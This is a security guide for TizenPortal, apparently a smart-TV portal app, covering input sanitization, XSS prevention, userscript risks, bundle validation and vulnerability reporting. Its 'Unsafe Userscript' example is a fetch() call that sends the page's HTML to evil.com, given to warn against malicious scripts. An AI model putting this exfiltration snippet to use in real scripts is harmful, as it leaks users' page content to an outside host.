tizenportal

Security Guide

Overview

TizenPortal is designed with security as a priority. This guide explains the security features, best practices, and considerations when using TizenPortal.

Security Model

Single-User Device

TizenPortal is designed for single-user Samsung Tizen Smart TVs. The security model assumes:

Data Storage

localStorage is used for:

Important: All data is stored unencrypted in the browser’s localStorage. This is appropriate for the single-user TV use case where data is not sensitive.

Security Features

1. Input Sanitization

All user inputs are sanitized before use:

URL Sanitization

// Enforces http/https protocols only
// Blocks: javascript:, data:, vbscript:, blob:, etc.
sanitizeUrl(userInput);

Protected Against:

HTML Escaping

// Escapes all HTML-significant characters
escapeHtml(userContent);

Protected Against:

CSS Sanitization

// Strips dangerous CSS constructs
sanitizeCss(userCSS);

Blocks:

2. XSS Prevention

TizenPortal prevents cross-site scripting through:

3. Cross-Origin Security

4. Storage Quota Handling

TizenPortal handles localStorage quota limits:

// Safe storage with quota detection
safeLocalStorageSet(key, value);
// Returns: { success, error, message }

If quota is exceeded:

Userscript Security

⚠️ Important Security Warning

Userscripts run with full page access. Only enable scripts that:

What Userscripts Can Do

Userscripts have access to:

Potential Risks

Malicious userscripts could:

Best Practices

  1. Review Code - Always read userscript source before enabling
  2. Test Safely - Test new scripts on non-sensitive sites first
  3. Minimal Scripts - Only enable scripts you actively use
  4. Regular Audits - Review enabled scripts periodically
  5. Trusted Sources - Only use scripts from developers you trust

Example: Safe Userscript

// ✅ SAFE: Simple styling enhancement
(function() {
  var style = document.createElement('style');
  style.textContent = 'body { font-size: 1.2em; }';
  document.head.appendChild(style);
})();

Example: Unsafe Userscript

// ❌ UNSAFE: Sends data to external server
(function() {
  var data = document.body.innerHTML;
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: data
  });
})();

Bundle Security

Bundle Manifest Validation

All bundle manifests are validated before loading:

Invalid manifests are rejected with error messages.

Bundle Isolation

Built-in Bundles

TizenPortal includes vetted bundles:

All built-in bundles are reviewed and considered safe.

Network Security

HTTPS Enforcement

External Resources

TizenPortal loads:

TizenPortal does NOT:

Privacy

Data Collection

TizenPortal does not collect any user data.

Local Data Only

All data stays on your device:

Browser History

Security Audit

TizenPortal undergoes regular security reviews:

See the Security Guide for full security documentation.

Reporting Security Issues

If you discover a security vulnerability in TizenPortal:

  1. Do NOT open a public GitHub issue
  2. Email the maintainer with details
  3. Include steps to reproduce
  4. Wait for acknowledgment before public disclosure

Responsible disclosure is appreciated.

Security Best Practices for Users

1. Device Security

2. Site Cards

3. Userscripts

4. Bundles

5. Updates

Security Checklist

Before using TizenPortal:

Additional Resources


Last Updated: February 11, 2026